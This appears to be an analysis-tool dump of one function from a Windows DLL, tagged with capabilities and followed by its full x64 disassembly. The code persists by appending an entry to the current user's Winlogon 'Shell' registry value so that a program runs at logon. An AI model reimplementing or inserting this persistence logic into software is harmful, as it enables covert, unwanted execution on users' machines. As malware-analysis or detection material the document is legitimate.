Function at 0x18001019c
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rcx + 0x10], rdx
jmp 0x18001019c
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
xor r15d, r15d
mov rdi, rcx
mov r14b, r15b
mov qword [rbp - 0x10], r15
mov qword [rbp + 0x58], r15
mov dword [rbp + 0x48], r15d
mov dword [rbp + 0x50], r15d
call fcn.1800104b4
mov ebx, 0x20007
lea rdx, [rbp - 0x10]
mov ecx, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenCurrentUser]
test eax, eax
je 0x1800101ed
xor al, al
jmp 0x18001049c
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x58]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
mov r9d, ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180010464
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x58]
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], r15
lea rax, [rbp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x180010464
mov r8d, dword [rbp + 0x48]
mov rcx, qword [rdi + 8]
lea ebx, [rax + 8]
add r8, r8
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
je 0x180010464
mov rcx, qword [rdi + 8]
lea r8d, [rbx - 2]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180010441
mov ecx, dword [rbp + 0x48]
lea rax, [rbp + 0x50]
lea rdx, str.Shell
inc ecx
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov dword [rbp + 0x50], ecx
mov rcx, qword [rbp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800102ea
cmp dword [rbp + 0x50], r15d
je 0x1800102ea
lea rdx, [0x18003ad8c]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x18003ad94]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x18003ad94]
add ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [rax + rbx + 1]
movsxd r12, ecx
mov rcx, r13
inc r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
add r12, rcx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x18001037c
lea rcx, [0x18003ad98]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, 8
movsxd rcx, eax
add r12, rcx
mov rcx, qword [rdi + 8]
lea r8, [r12 + r12]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180010441
lea rdx, [0x18003ad98]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x1800103c2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, 8
movsxd rcx, eax
add r12, rcx
mov rcx, qword [rdi + 8]
lea r8, [r12 + r12]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180010441
mov rdx, r13
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x18003ad94]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [rdi + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x18003ad94]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, qword [rbp + 0x58]
lea eax, [r12 + r12 + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.Shell
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x180010432
lea rdx, [0x18003a400]
mov r8, rbx
mov ecx, 0x83
call fcn.180030818
mov r14b, 1
mov rcx, qword [rdi + 8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rdi + 8]
mov r8, r13
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rsi, rsi
je 0x180010464
mov rcx, qword [rdi + 8]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x180010473
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [0x18003a4ec]
test r14b, r14b
lea r8, [0x18003a540]
lea rdx, str.__s__n
mov ecx, 0x92
cmovne r8, rax
call fcn.180030818
mov al, r14b
mov rbx, qword [rsp + 0xb0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret